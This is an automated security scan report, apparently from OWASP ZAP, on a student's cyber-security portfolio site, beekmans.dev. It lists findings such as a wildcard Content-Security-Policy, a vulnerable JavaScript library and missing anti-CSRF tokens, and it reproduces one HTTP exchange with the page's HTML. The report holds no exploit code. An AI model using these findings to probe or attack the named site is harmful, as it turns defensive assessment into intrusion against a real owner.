Contents
About this report
Report parameters
Contexts
No contexts were selected, so all contexts were included by default.
Sites
The following sites were included:
- https://beekmans.dev
(If no sites were selected, all sites were included by default.)
An included site must also be within one of the included contexts for its data to be included in the report.
Risk levels
Included: High, Medium, Low, Informational
Excluded: None
Confidence levels
Included: User Confirmed, High, Medium, Low
Excluded: User Confirmed, High, Medium, Low, False Positive
Summaries
Alert counts by risk and confidence
| Confidence | ||||||
|---|---|---|---|---|---|---|
| User Confirmed | High | Medium | Low | Total | ||
| Risk | High | 0 (0.0%) |
0 (0.0%) |
0 (0.0%) |
0 (0.0%) |
0 (0.0%) |
| Medium | 0 (0.0%) |
0 (0.0%) |
11 (14.1%) |
0 (0.0%) |
11 (14.1%) |
|
| Low | 0 (0.0%) |
0 (0.0%) |
9 (11.5%) |
52 (66.7%) |
61 (78.2%) |
|
| Informational | 0 (0.0%) |
0 (0.0%) |
2 (2.6%) |
4 (5.1%) |
6 (7.7%) |
|
| Total | 0 (0.0%) |
0 (0.0%) |
22 (28.2%) |
56 (71.8%) |
78 (100%) |
|
Alert counts by site and risk
| Risk | |||||
|---|---|---|---|---|---|
|
High (= High) |
Medium (>= Medium) |
Low (>= Low) |
Informational (>= Informational) |
||
| Site | https://beekmans.dev | 0 (0) |
11 (11) |
61 (72) |
6 (78) |
Alert counts by alert type
| Alert type | Risk | Count |
|---|---|---|
| CSP: Wildcard Directive | Medium | 9 (11.5%) |
| Vulnerable JS Library | Medium | 2 (2.6%) |
| Absence of Anti-CSRF Tokens | Low | 2 (2.6%) |
| Cross-Domain JavaScript Source File Inclusion | Low | 2 (2.6%) |
| Incomplete or No Cache-control Header Set | Low | 3 (3.8%) |
| Private IP Disclosure | Low | 2 (2.6%) |
| Timestamp Disclosure - Unix | Low | 52 (66.7%) |
| Content-Type Header Missing | Informational | 2 (2.6%) |
| Information Disclosure - Suspicious Comments | Informational | 4 (5.1%) |
| Total | 78 |
Alerts
-
Risk=Medium, Confidence=Medium (11)
-
https://beekmans.dev (11)
-
CSP: Wildcard Directive (9)
GET https://beekmans.dev
Alert tags Alert description The following directives either allow wildcard sources (or ancestors), are not defined, or are overly broadly defined:
script-src, style-src, img-src, connects-src, frame-src, frame-ancestors, font-src, media-src, object-src, manifest-src, worker-src, prefetch-src, form-action
The directive(s): frame-ancestors, form-action are among the directives that do not fallback to default-src, missing/excluding them is the same as allowing anything.
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © 